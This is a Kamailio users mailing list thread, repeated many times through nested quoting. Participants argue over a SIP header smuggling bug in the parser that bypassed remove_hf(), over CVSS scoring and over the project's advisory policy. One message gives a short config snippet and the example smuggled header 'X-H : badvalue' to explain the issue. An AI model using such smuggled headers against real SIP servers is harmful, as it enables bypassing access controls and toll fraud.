-Max
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users _______________________________________________ Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
I know I am waking up an old debate by replying to this thread. Deeply sorry :-)
Finally got around to writing up a blog post about this very thread where I (think) I spared absolutely no one, not even myself.
My post is called "The great Kamailio security debate and some misconceptions debunked" and can be read here:
https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconception...
The ToC: 1. Introduction 2. A bit of background before diving in 3. Claim: this issue does not affect many organisations 4. Claim: custom headers are only known to internal users 5. Claim: if it’s an 18 year old bug, it can’t have been high risk 6. Claim: this should have been found if people were doing proper testing 7. Claim: infrequent advisories = project is not serious about security 8. Claim: limited number of advisories = project is more secure 9. Claim: if you’re serious about security, monitor the mailing lists 10. Claim: security experts should decide what is a security vulnerability 11. Discussion: when should the project publish an advisory? 12. Discussion: educational security role 13. Moving forward Hope that it is at least interesting and perhaps even constructive!
Best wishes,
--
Sandro Gauci, CEO at Enable Security GmbH
Register of Companies: AG Charlottenburg HRB 173016 B Company HQ: Pappelallee 78/79, 10437 Berlin, Germany PGP/Encrypted comms: https://keybase.io/sandrogauci Our blog: https://www.rtcsec.com Other points of contact: https://enablesecurity.com/#contact-us
On Thu, 3 Sep 2020, at 10:34 AM, Olle E. Johansson wrote:
Well, you have defined one definitive line between being stupid and following some current practise :-)
I like to think we as a project have an educational role as well. In this case explaining the bug we had and what it can cause. We should definitely add a warning along the lines you write too - relying on headers alone is bad and not best current practise.
/O
On 3 Sep 2020, at 10:14, davy van de moere davy.van.de.moere@gmail.com wrote:
After 20 years in voip, my 2 cents on this, if you succeed in creating a voip system where the security of the whole relies on the ability to remove (or only keep specific) custom sip headers, you will wake up one morning realizing a bunch of people in Palestine made a gazillion calls over your system to expensive destinations, bringing you to or over the edge of bankruptcy.
Security should be multilayered, one header sneaking through should not give any big problems.
From a security point of view, this could be called a 'normal' security risk, I think. It's a bit more than low as you can do more than just get some info, but it's not high, as you would need to have many other factors going wrong to get to a successful exploit.
Op do 3 sep. 2020 om 09:18 schreef Olle E. Johansson oej@edvina.net:
One thought - we may have to separate security vulnerability reporting from security advisory documents. I think in some cases, where a common use of a product can lead to issues (but it is not clearly a bug that cause crashes in our code) we may have to send out an advisory and publish it in the same way. The problem with that is where the border is between just doing stupid things like taking SQL statements from SIP headers and issues like this that are harder to catch.
We had a long and hard discussion about this in the Asterisk project many years ago - a very common dialplan construct (that was documented in many places) was indeed very dangerous. It wasn’t any code in asterisk that caused the issue, just a common dialplan construct that existed in many, many production systems. In the end, if I remember correctly, the project issued an advisory and added a README about it.
Maybe that’s a way forward.
/O
On 2 Sep 2020, at 21:25, Henning Westerholt hw@skalatan.de wrote:
Hello Maxim,____ __ __ have a look to the first sentence:____ __ __ “A security vulnerability is (for example) when a user of Kamailio can cause Kamailio to crash or lock up by sending messages to the server process.”____ __ __ So there is some limitation regarding vulnerability criticality defined in there. But of course (as I already mentioned), it might be improved to e.g. use CVSS scoring instead.____ __ __ Cheers,____ __ __ Henning____ __ __ *From:* Maxim Sobolev sobomax@sippysoft.com *Sent:* Wednesday, September 2, 2020 9:15 PM *To:* Henning Westerholt hw@skalatan.de *Cc:* Daniel-Constantin Mierla miconda@gmail.com; yufei.tao@gmail.com; Olle E. Johansson oej@edvina.net; Gerry | Rigatta gjacobsen@rigatta.com; Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org; jbrower@signalogic.com *Subject:* Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of remove_hf____ __ __ On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt hw@skalatan.de wrote:____
Hello Maxim,____ ____ thank you for the clarification, appreciated.____
No worries, hope to have a civilized discussion.____ ____
Just one clarification, my comment regarding the advisory from 2018 was not meant as advertisement etc..____
Point taken, I dramatized of course to underline my point. ____ __ __
One suggestion to objectify the whole discussion, there exists a well-known and accepted metric for vulnerabilities: CVSS [1]____ If I calculate the CVSS score for this issue, it results in a medium level with score 5.8. But this is of course again (at least somewhat) influenced from my point of view to this bug.____ ____ Some projects have a policy to only do a security announcement for vulnerabilities with score high and critical. For Kamailio this is not yet defined in a detailed way, due to the size of the project and other factors.____ ____ So, If people in this discussion (or other people on the list) are interested in improving the project security processes – this wiki page with the current process might be a good starting point:https://www.kamailio.org/wiki/security/policy____ ____ Please suggest your improvements to the existing process (preferable in a new discussion thread) on the sr-dev list. If you want to do it in private, feel free contact the management list.____
Well, first suggestion after having read it: to start actually following what's documented before any improvements are made. ;-) The policy says plain and simple (quote):____ __ __
Publishing security vulnerabilities____
Kamailio will publish security vulnerabilities, including an CVE ID, on the kamailio-business mailing list, sr-dev, sr-users as well as related lists. The advisories will also be published on the kamailio.org web site. ____ ____ CVE entries should be created for vulnerabilities in the core and major modules, for rarely used modules this is not necessary. If there are several security issues together in one release, they should be announced together. ____
I might be missing something obvious, but there is no "if" or "maybe" or "it depends". Any module that has been 18 years with the project qualifies to be a "major module" to me... ____ __ __ -Max
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
At least in my case you push out some inaccurate information. I never said my "deployments were not affected since non-standard headers were not used".
Iirc, I only said that none of my deployments were affected by this issue -- respectively quoting from my message: "None of my deployments were affected." from: https://lists.kamailio.org/pipermail/sr-users/2020-September/110315.html . If I am mistaken and you found another remark from me, just point to my message from where you got that.
So, for further clarification: either non standard headers were used for non-security related features (e.g., used for troubleshooting purposes) or the issue didn't affect the deployments from different perspective (e.g., traffic was checked to be from a trusted source).
And remember that the issue was not with remove_hf() function itself, like it is somehow propagated by blog posts, but it was in the parser, so use of custom headers between two kamailio was not affected if an edge proxy did something like:
remove_hf("X-H");
append_hf("X-H: abc\r\n");
And then, if next hop Kamailio was using $hdr(X-H), it will get "abc" (value added by previous Kamailio), not what a bad actor would add as "X-H : badvalue\r\n" sip header.
Then you listed two commits you consider there should have been security advisories about. Have you analysed the code and found cases where security was affected, or is just your opinion in based on the commit message and code patch?
First, I would love that one or many spend time to dissect commits and see their security implication. I am more that happy when someone does it and let's everyone be aware of, also to write and publish appropriate advisory.
Otherwise, for those two specific commits you listed, the one from Federico is a memory leak, I haven't spent time on going deeper to find the specific cases, From header should be parsed in SIP requests. My commit was done based on a static code analyzer and again I was not spending time to see what implications are.
In general, in the code we work a lot with str structure (non-zero terminated char* and len), many of the "safety" commits done lately were to silent static code analysers, not meaning that it was a real issue found behind. Some can be, and here we appreciate the time and effort of people like you to dissect them and make appropriate advisories.
I would like people do verify what they write about what specific people (of course, specially for my person) said before pushing out, and eventually validate a commit to fix something has security impact, instead of just personal guessing, if the intention is to help the project and not to create more confusion or other reactions for what so ever reasons.
This should be my last comment on the thread, I do not want to spend any more time in clarifying what people think I said or I did.
Cheers, Daniel
On 22.09.20 11:31, Sandro Gauci wrote:
I know I am waking up an old debate by replying to this thread. Deeply sorry :-)
Finally got around to writing up a blog post about this very thread where I (think) I spared absolutely no one, not even myself.
My post is called "The great Kamailio security debate and some misconceptions debunked" and can be read here:
https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconception... https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconceptions/
The ToC:
- Introduction
- A bit of background before diving in
- Claim: this issue does not affect many organisations
- Claim: custom headers are only known to internal users
- Claim: if it’s an 18 year old bug, it can’t have been high risk
- Claim: this should have been found if people were doing proper testing
- Claim: infrequent advisories = project is not serious about security
- Claim: limited number of advisories = project is more secure
- Claim: if you’re serious about security, monitor the mailing lists
- Claim: security experts should decide what is a security vulnerability
- Discussion: when should the project publish an advisory?
- Discussion: educational security role
- Moving forward
Hope that it is at least interesting and perhaps even constructive!
Best wishes,
-- Sandro Gauci, CEO at Enable Security GmbH
Register of Companies: AG Charlottenburg HRB 173016 B Company HQ: Pappelallee 78/79, 10437 Berlin, Germany PGP/Encrypted comms: https://keybase.io/sandrogauci Our blog: https://www.rtcsec.com Other points of contact: https://enablesecurity.com/#contact-us
On Thu, 3 Sep 2020, at 10:34 AM, Olle E. Johansson wrote:
Well, you have defined one definitive line between being stupid and following some current practise :-)
I like to think we as a project have an educational role as well. In this case explaining the bug we had and what it can cause. We should definitely add a warning along the lines you write too - relying on headers alone is bad and not best current practise.
/O
On 3 Sep 2020, at 10:14, davy van de moere <davy.van.de.moere@gmail.com mailto:davy.van.de.moere@gmail.com> wrote:
After 20 years in voip, my 2 cents on this, if you succeed in creating a voip system where the security of the whole relies on the ability to remove (or only keep specific) custom sip headers, you will wake up one morning realizing a bunch of people in Palestine made a gazillion calls over your system to expensive destinations, bringing you to or over the edge of bankruptcy.
Security should be multilayered, one header sneaking through should not give any big problems.
From a security point of view, this could be called a 'normal' security risk, I think. It's a bit more than low as you can do more than just get some info, but it's not high, as you would need to have many other factors going wrong to get to a successful exploit.
Op do 3 sep. 2020 om 09:18 schreef Olle E. Johansson <oej@edvina.net mailto:oej@edvina.net>:
One thought - we may have to separate security vulnerability reporting from security advisory documents. I think in some cases, where a common use of a product can lead to issues (but it is not clearly a bug that cause crashes in our code) we may have to send out an advisory and publish it in the same way. The problem with that is where the border is between just doing stupid things like taking SQL statements from SIP headers and issues like this that are harder to catch. We had a long and hard discussion about this in the Asterisk project many years ago - a very common dialplan construct (that was documented in many places) was indeed very dangerous. It wasn’t any code in asterisk that caused the issue, just a common dialplan construct that existed in many, many production systems. In the end, if I remember correctly, the project issued an advisory and added a README about it. Maybe that’s a way forward. /O
On 2 Sep 2020, at 21:25, Henning Westerholt <hw@skalatan.de <mailto:hw@skalatan.de>> wrote: Hello Maxim, have a look to the first sentence: “A security vulnerability is (for example) when a user of Kamailio can cause Kamailio to crash or lock up by sending messages to the server process.” So there is some limitation regarding vulnerability criticality defined in there. But of course (as I already mentioned), it might be improved to e.g. use CVSS scoring instead. Cheers, Henning *From:* Maxim Sobolev <sobomax@sippysoft.com <mailto:sobomax@sippysoft.com>> *Sent:* Wednesday, September 2, 2020 9:15 PM *To:* Henning Westerholt <hw@skalatan.de <mailto:hw@skalatan.de>> *Cc:* Daniel-Constantin Mierla <miconda@gmail.com <mailto:miconda@gmail.com>>; yufei.tao@gmail.com <mailto:yufei.tao@gmail.com>; Olle E. Johansson <oej@edvina.net <mailto:oej@edvina.net>>; Gerry | Rigatta <gjacobsen@rigatta.com <mailto:gjacobsen@rigatta.com>>; Kamailio (SER) - Users Mailing List <sr-users@lists.kamailio.org <mailto:sr-users@lists.kamailio.org>>; jbrower@signalogic.com <mailto:jbrower@signalogic.com> *Subject:* Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of remove_hf On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt <hw@skalatan.de <mailto:hw@skalatan.de>> wrote: Hello Maxim, thank you for the clarification, appreciated. No worries, hope to have a civilized discussion. Just one clarification, my comment regarding the advisory from 2018 was not meant as advertisement etc.. Point taken, I dramatized of course to underline my point. One suggestion to objectify the whole discussion, there exists a well-known and accepted metric for vulnerabilities: CVSS [1] If I calculate the CVSS score for this issue, it results in a medium level with score 5.8. But this is of course again (at least somewhat) influenced from my point of view to this bug. Some projects have a policy to only do a security announcement for vulnerabilities with score high and critical. For Kamailio this is not yet defined in a detailed way, due to the size of the project and other factors. So, If people in this discussion (or other people on the list) are interested in improving the project security processes – this wiki page with the current process might be a good starting point:https://www.kamailio.org/wiki/security/policy <https://www.kamailio.org/wiki/security/policy> Please suggest your improvements to the existing process (preferable in a new discussion thread) on the sr-dev list. If you want to do it in private, feel free contact the management list. Well, first suggestion after having read it: to start actually following what's documented before any improvements are made. ;-) The policy says plain and simple (quote): Publishing security vulnerabilities Kamailio will publish security vulnerabilities, including an CVE ID, on the kamailio-business mailing list, sr-dev, sr-users as well as related lists. The advisories will also be published on the kamailio.org <http://kamailio.org/> web site. CVE entries should be created for vulnerabilities in the core and major modules, for rarely used modules this is not necessary. If there are several security issues together in one release, they should be announced together. I might be missing something obvious, but there is no "if" or "maybe" or "it depends". Any module that has been 18 years with the project qualifies to be a "major module" to me... -Max
_______________________________________________ Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org <mailto:sr-users@lists.kamailio.org> https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users <https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Hi Daniel,
your frustration is understandable and I hope you excuse a further comment. What is missing, IMVHO, is a central point of reference for all Kamailio security issues. Googling for “Kamailio security” reveals https://www.cvedetails.com/vulnerability-list/vendor_id-15820/Kamailio.html as the most comprehensive source. However it lacks this latest header bug.
My suggestion would be to create a special “Security Advisories” page on the kamailio website which points to security news, so that Google indexes that page. As for example Asterisk has https://www.asterisk.org/downloads/security-advisories/
And create on github an extra “security” label so one can filter for that. https://github.com/kamailio/kamailio/labels And then point from the above mentioned “Security Advisories” page to a filtered github view.
Thanks for your great work on Kamailio. Its highly appreciated!
Best Gerry
On 22 Sep 2020, at 12:55, Daniel-Constantin Mierla miconda@gmail.com wrote:
At least in my case you push out some inaccurate information. I never said my "deployments were not affected since non-standard headers were not used".
Iirc, I only said that none of my deployments were affected by this issue -- respectively quoting from my message: "None of my deployments were affected." from:https://lists.kamailio.org/pipermail/sr-users/2020-September/110315.html https://lists.kamailio.org/pipermail/sr-users/2020-September/110315.html . If I am mistaken and you found another remark from me, just point to my message from where you got that.
So, for further clarification: either non standard headers were used for non-security related features (e.g., used for troubleshooting purposes) or the issue didn't affect the deployments from different perspective (e.g., traffic was checked to be from a trusted source).
And remember that the issue was not with remove_hf() function itself, like it is somehow propagated by blog posts, but it was in the parser, so use of custom headers between two kamailio was not affected if an edge proxy did something like:
remove_hf("X-H");
append_hf("X-H: abc\r\n");
And then, if next hop Kamailio was using $hdr(X-H), it will get "abc" (value added by previous Kamailio), not what a bad actor would add as "X-H : badvalue\r\n" sip header.
Then you listed two commits you consider there should have been security advisories about. Have you analysed the code and found cases where security was affected, or is just your opinion in based on the commit message and code patch?
First, I would love that one or many spend time to dissect commits and see their security implication. I am more that happy when someone does it and let's everyone be aware of, also to write and publish appropriate advisory.
Otherwise, for those two specific commits you listed, the one from Federico is a memory leak, I haven't spent time on going deeper to find the specific cases, From header should be parsed in SIP requests. My commit was done based on a static code analyzer and again I was not spending time to see what implications are.
In general, in the code we work a lot with str structure (non-zero terminated char* and len), many of the "safety" commits done lately were to silent static code analysers, not meaning that it was a real issue found behind. Some can be, and here we appreciate the time and effort of people like you to dissect them and make appropriate advisories.
I would like people do verify what they write about what specific people (of course, specially for my person) said before pushing out, and eventually validate a commit to fix something has security impact, instead of just personal guessing, if the intention is to help the project and not to create more confusion or other reactions for what so ever reasons.
This should be my last comment on the thread, I do not want to spend any more time in clarifying what people think I said or I did.
Cheers, Daniel
On 22.09.20 11:31, Sandro Gauci wrote:
I know I am waking up an old debate by replying to this thread. Deeply sorry :-)
Finally got around to writing up a blog post about this very thread where I (think) I spared absolutely no one, not even myself.
My post is called "The great Kamailio security debate and some misconceptions debunked" and can be read here:
https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconception... https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconceptions/
The ToC: Introduction A bit of background before diving in Claim: this issue does not affect many organisations Claim: custom headers are only known to internal users Claim: if it’s an 18 year old bug, it can’t have been high risk Claim: this should have been found if people were doing proper testing Claim: infrequent advisories = project is not serious about security Claim: limited number of advisories = project is more secure Claim: if you’re serious about security, monitor the mailing lists Claim: security experts should decide what is a security vulnerability Discussion: when should the project publish an advisory? Discussion: educational security role Moving forward Hope that it is at least interesting and perhaps even constructive!
Best wishes,
--
Sandro Gauci, CEO at Enable Security GmbH Register of Companies: AG Charlottenburg HRB 173016 B Company HQ: Pappelallee 78/79, 10437 Berlin, Germany PGP/Encrypted comms: https://keybase.io/sandrogauci <https://keybase.io/sandrogauci> Our blog: https://www.rtcsec.com <https://www.rtcsec.com/> Other points of contact: https://enablesecurity.com/#contact-us <https://enablesecurity.com/#contact-us>
On Thu, 3 Sep 2020, at 10:34 AM, Olle E. Johansson wrote:
Well, you have defined one definitive line between being stupid and following some current practise :-)
I like to think we as a project have an educational role as well. In this case explaining the bug we had and what it can cause. We should definitely add a warning along the lines you write too - relying on headers alone is bad and not best current practise.
/O
On 3 Sep 2020, at 10:14, davy van de moere <davy.van.de.moere@gmail.com mailto:davy.van.de.moere@gmail.com> wrote:
After 20 years in voip, my 2 cents on this, if you succeed in creating a voip system where the security of the whole relies on the ability to remove (or only keep specific) custom sip headers, you will wake up one morning realizing a bunch of people in Palestine made a gazillion calls over your system to expensive destinations, bringing you to or over the edge of bankruptcy.
Security should be multilayered, one header sneaking through should not give any big problems.
From a security point of view, this could be called a 'normal' security risk, I think. It's a bit more than low as you can do more than just get some info, but it's not high, as you would need to have many other factors going wrong to get to a successful exploit.
Op do 3 sep. 2020 om 09:18 schreef Olle E. Johansson <oej@edvina.net mailto:oej@edvina.net>: One thought - we may have to separate security vulnerability reporting from security advisory documents. I think in some cases, where a common use of a product can lead to issues (but it is not clearly a bug that cause crashes in our code) we may have to send out an advisory and publish it in the same way. The problem with that is where the border is between just doing stupid things like taking SQL statements from SIP headers and issues like this that are harder to catch.
We had a long and hard discussion about this in the Asterisk project many years ago - a very common dialplan construct (that was documented in many places) was indeed very dangerous. It wasn’t any code in asterisk that caused the issue, just a common dialplan construct that existed in many, many production systems. In the end, if I remember correctly, the project issued an advisory and added a README about it.
Maybe that’s a way forward.
/O
On 2 Sep 2020, at 21:25, Henning Westerholt <hw@skalatan.de mailto:hw@skalatan.de> wrote:
Hello Maxim,
have a look to the first sentence:
“A security vulnerability is (for example) when a user of Kamailio can cause Kamailio to crash or lock up by sending messages to the server process.”
So there is some limitation regarding vulnerability criticality defined in there. But of course (as I already mentioned), it might be improved to e.g. use CVSS scoring instead.
Cheers,
Henning
From: Maxim Sobolev <sobomax@sippysoft.com mailto:sobomax@sippysoft.com> Sent: Wednesday, September 2, 2020 9:15 PM To: Henning Westerholt <hw@skalatan.de mailto:hw@skalatan.de> Cc: Daniel-Constantin Mierla <miconda@gmail.com mailto:miconda@gmail.com>; yufei.tao@gmail.com mailto:yufei.tao@gmail.com; Olle E. Johansson <oej@edvina.net mailto:oej@edvina.net>; Gerry | Rigatta <gjacobsen@rigatta.com mailto:gjacobsen@rigatta.com>; Kamailio (SER) - Users Mailing List <sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org>; jbrower@signalogic.com mailto:jbrower@signalogic.com Subject: Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt <hw@skalatan.de mailto:hw@skalatan.de> wrote: Hello Maxim,
thank you for the clarification, appreciated.
No worries, hope to have a civilized discussion.
Just one clarification, my comment regarding the advisory from 2018 was not meant as advertisement etc..
Point taken, I dramatized of course to underline my point.
One suggestion to objectify the whole discussion, there exists a well-known and accepted metric for vulnerabilities: CVSS [1] If I calculate the CVSS score for this issue, it results in a medium level with score 5.8. But this is of course again (at least somewhat) influenced from my point of view to this bug.
Some projects have a policy to only do a security announcement for vulnerabilities with score high and critical. For Kamailio this is not yet defined in a detailed way, due to the size of the project and other factors.
So, If people in this discussion (or other people on the list) are interested in improving the project security processes – this wiki page with the current process might be a good starting point:https://www.kamailio.org/wiki/security/policy https://www.kamailio.org/wiki/security/policy
Please suggest your improvements to the existing process (preferable in a new discussion thread) on the sr-dev list. If you want to do it in private, feel free contact the management list.
Well, first suggestion after having read it: to start actually following what's documented before any improvements are made. ;-) The policy says plain and simple (quote):
Publishing security vulnerabilities
Kamailio will publish security vulnerabilities, including an CVE ID, on the kamailio-business mailing list, sr-dev, sr-users as well as related lists. The advisories will also be published on the kamailio.org http://kamailio.org/ web site.
CVE entries should be created for vulnerabilities in the core and major modules, for rarely used modules this is not necessary. If there are several security issues together in one release, they should be announced together.
I might be missing something obvious, but there is no "if" or "maybe" or "it depends". Any module that has been 18 years with the project qualifies to be a "major module" to me...
-Max
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users _______________________________________________ Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
-- Daniel-Constantin Mierla -- www.asipto.com http://www.asipto.com/ www.twitter.com/miconda http://www.twitter.com/miconda -- www.linkedin.com/in/miconda http://www.linkedin.com/in/miconda Funding: https://www.paypal.me/dcmierla https://www.paypal.me/dcmierla_______________________________________________ Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
On 22 Sep 2020, at 13:30, Gerry | Rigatta gjacobsen@rigatta.com wrote:
Hi Daniel,
your frustration is understandable and I hope you excuse a further comment. What is missing, IMVHO, is a central point of reference for all Kamailio security issues. Googling for “Kamailio security” reveals https://www.cvedetails.com/vulnerability-list/vendor_id-15820/Kamailio.html https://www.cvedetails.com/vulnerability-list/vendor_id-15820/Kamailio.html as the most comprehensive source. However it lacks this latest header bug.
https://www.kamailio.org/wiki/security/policy https://www.kamailio.org/wiki/security/policy
Maybe we should make it easier to find from the home page as you did not find it.
/O
My suggestion would be to create a special “Security Advisories” page on the kamailio website which points to security news, so that Google indexes that page. As for example Asterisk has https://www.asterisk.org/downloads/security-advisories/ https://www.asterisk.org/downloads/security-advisories/
And create on github an extra “security” label so one can filter for that. https://github.com/kamailio/kamailio/labels https://github.com/kamailio/kamailio/labels And then point from the above mentioned “Security Advisories” page to a filtered github view.
Thanks for your great work on Kamailio. Its highly appreciated!
Best Gerry
On 22 Sep 2020, at 12:55, Daniel-Constantin Mierla <miconda@gmail.com mailto:miconda@gmail.com> wrote:
At least in my case you push out some inaccurate information. I never said my "deployments were not affected since non-standard headers were not used".
Iirc, I only said that none of my deployments were affected by this issue -- respectively quoting from my message: "None of my deployments were affected." from:https://lists.kamailio.org/pipermail/sr-users/2020-September/110315.html https://lists.kamailio.org/pipermail/sr-users/2020-September/110315.html . If I am mistaken and you found another remark from me, just point to my message from where you got that.
So, for further clarification: either non standard headers were used for non-security related features (e.g., used for troubleshooting purposes) or the issue didn't affect the deployments from different perspective (e.g., traffic was checked to be from a trusted source).
And remember that the issue was not with remove_hf() function itself, like it is somehow propagated by blog posts, but it was in the parser, so use of custom headers between two kamailio was not affected if an edge proxy did something like:
remove_hf("X-H");
append_hf("X-H: abc\r\n");
And then, if next hop Kamailio was using $hdr(X-H), it will get "abc" (value added by previous Kamailio), not what a bad actor would add as "X-H : badvalue\r\n" sip header.
Then you listed two commits you consider there should have been security advisories about. Have you analysed the code and found cases where security was affected, or is just your opinion in based on the commit message and code patch?
First, I would love that one or many spend time to dissect commits and see their security implication. I am more that happy when someone does it and let's everyone be aware of, also to write and publish appropriate advisory.
Otherwise, for those two specific commits you listed, the one from Federico is a memory leak, I haven't spent time on going deeper to find the specific cases, From header should be parsed in SIP requests. My commit was done based on a static code analyzer and again I was not spending time to see what implications are.
In general, in the code we work a lot with str structure (non-zero terminated char* and len), many of the "safety" commits done lately were to silent static code analysers, not meaning that it was a real issue found behind. Some can be, and here we appreciate the time and effort of people like you to dissect them and make appropriate advisories.
I would like people do verify what they write about what specific people (of course, specially for my person) said before pushing out, and eventually validate a commit to fix something has security impact, instead of just personal guessing, if the intention is to help the project and not to create more confusion or other reactions for what so ever reasons.
This should be my last comment on the thread, I do not want to spend any more time in clarifying what people think I said or I did.
Cheers, Daniel
On 22.09.20 11:31, Sandro Gauci wrote:
I know I am waking up an old debate by replying to this thread. Deeply sorry :-)
Finally got around to writing up a blog post about this very thread where I (think) I spared absolutely no one, not even myself.
My post is called "The great Kamailio security debate and some misconceptions debunked" and can be read here:
https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconception... https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconceptions/
The ToC: Introduction A bit of background before diving in Claim: this issue does not affect many organisations Claim: custom headers are only known to internal users Claim: if it’s an 18 year old bug, it can’t have been high risk Claim: this should have been found if people were doing proper testing Claim: infrequent advisories = project is not serious about security Claim: limited number of advisories = project is more secure Claim: if you’re serious about security, monitor the mailing lists Claim: security experts should decide what is a security vulnerability Discussion: when should the project publish an advisory? Discussion: educational security role Moving forward Hope that it is at least interesting and perhaps even constructive!
Best wishes,
--
Sandro Gauci, CEO at Enable Security GmbH Register of Companies: AG Charlottenburg HRB 173016 B Company HQ: Pappelallee 78/79, 10437 Berlin, Germany PGP/Encrypted comms: https://keybase.io/sandrogauci <https://keybase.io/sandrogauci> Our blog: https://www.rtcsec.com <https://www.rtcsec.com/> Other points of contact: https://enablesecurity.com/#contact-us <https://enablesecurity.com/#contact-us>
On Thu, 3 Sep 2020, at 10:34 AM, Olle E. Johansson wrote:
Well, you have defined one definitive line between being stupid and following some current practise :-)
I like to think we as a project have an educational role as well. In this case explaining the bug we had and what it can cause. We should definitely add a warning along the lines you write too - relying on headers alone is bad and not best current practise.
/O
On 3 Sep 2020, at 10:14, davy van de moere <davy.van.de.moere@gmail.com mailto:davy.van.de.moere@gmail.com> wrote:
After 20 years in voip, my 2 cents on this, if you succeed in creating a voip system where the security of the whole relies on the ability to remove (or only keep specific) custom sip headers, you will wake up one morning realizing a bunch of people in Palestine made a gazillion calls over your system to expensive destinations, bringing you to or over the edge of bankruptcy.
Security should be multilayered, one header sneaking through should not give any big problems.
From a security point of view, this could be called a 'normal' security risk, I think. It's a bit more than low as you can do more than just get some info, but it's not high, as you would need to have many other factors going wrong to get to a successful exploit.
Op do 3 sep. 2020 om 09:18 schreef Olle E. Johansson <oej@edvina.net mailto:oej@edvina.net>: One thought - we may have to separate security vulnerability reporting from security advisory documents. I think in some cases, where a common use of a product can lead to issues (but it is not clearly a bug that cause crashes in our code) we may have to send out an advisory and publish it in the same way. The problem with that is where the border is between just doing stupid things like taking SQL statements from SIP headers and issues like this that are harder to catch.
We had a long and hard discussion about this in the Asterisk project many years ago - a very common dialplan construct (that was documented in many places) was indeed very dangerous. It wasn’t any code in asterisk that caused the issue, just a common dialplan construct that existed in many, many production systems. In the end, if I remember correctly, the project issued an advisory and added a README about it.
Maybe that’s a way forward.
/O
On 2 Sep 2020, at 21:25, Henning Westerholt <hw@skalatan.de mailto:hw@skalatan.de> wrote:
Hello Maxim,
have a look to the first sentence:
“A security vulnerability is (for example) when a user of Kamailio can cause Kamailio to crash or lock up by sending messages to the server process.”
So there is some limitation regarding vulnerability criticality defined in there. But of course (as I already mentioned), it might be improved to e.g. use CVSS scoring instead.
Cheers,
Henning
From: Maxim Sobolev <sobomax@sippysoft.com mailto:sobomax@sippysoft.com> Sent: Wednesday, September 2, 2020 9:15 PM To: Henning Westerholt <hw@skalatan.de mailto:hw@skalatan.de> Cc: Daniel-Constantin Mierla <miconda@gmail.com mailto:miconda@gmail.com>; yufei.tao@gmail.com mailto:yufei.tao@gmail.com; Olle E. Johansson <oej@edvina.net mailto:oej@edvina.net>; Gerry | Rigatta <gjacobsen@rigatta.com mailto:gjacobsen@rigatta.com>; Kamailio (SER) - Users Mailing List <sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org>; jbrower@signalogic.com mailto:jbrower@signalogic.com Subject: Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt <hw@skalatan.de mailto:hw@skalatan.de> wrote: Hello Maxim,
thank you for the clarification, appreciated.
No worries, hope to have a civilized discussion.
Just one clarification, my comment regarding the advisory from 2018 was not meant as advertisement etc..
Point taken, I dramatized of course to underline my point.
One suggestion to objectify the whole discussion, there exists a well-known and accepted metric for vulnerabilities: CVSS [1] If I calculate the CVSS score for this issue, it results in a medium level with score 5.8. But this is of course again (at least somewhat) influenced from my point of view to this bug.
Some projects have a policy to only do a security announcement for vulnerabilities with score high and critical. For Kamailio this is not yet defined in a detailed way, due to the size of the project and other factors.
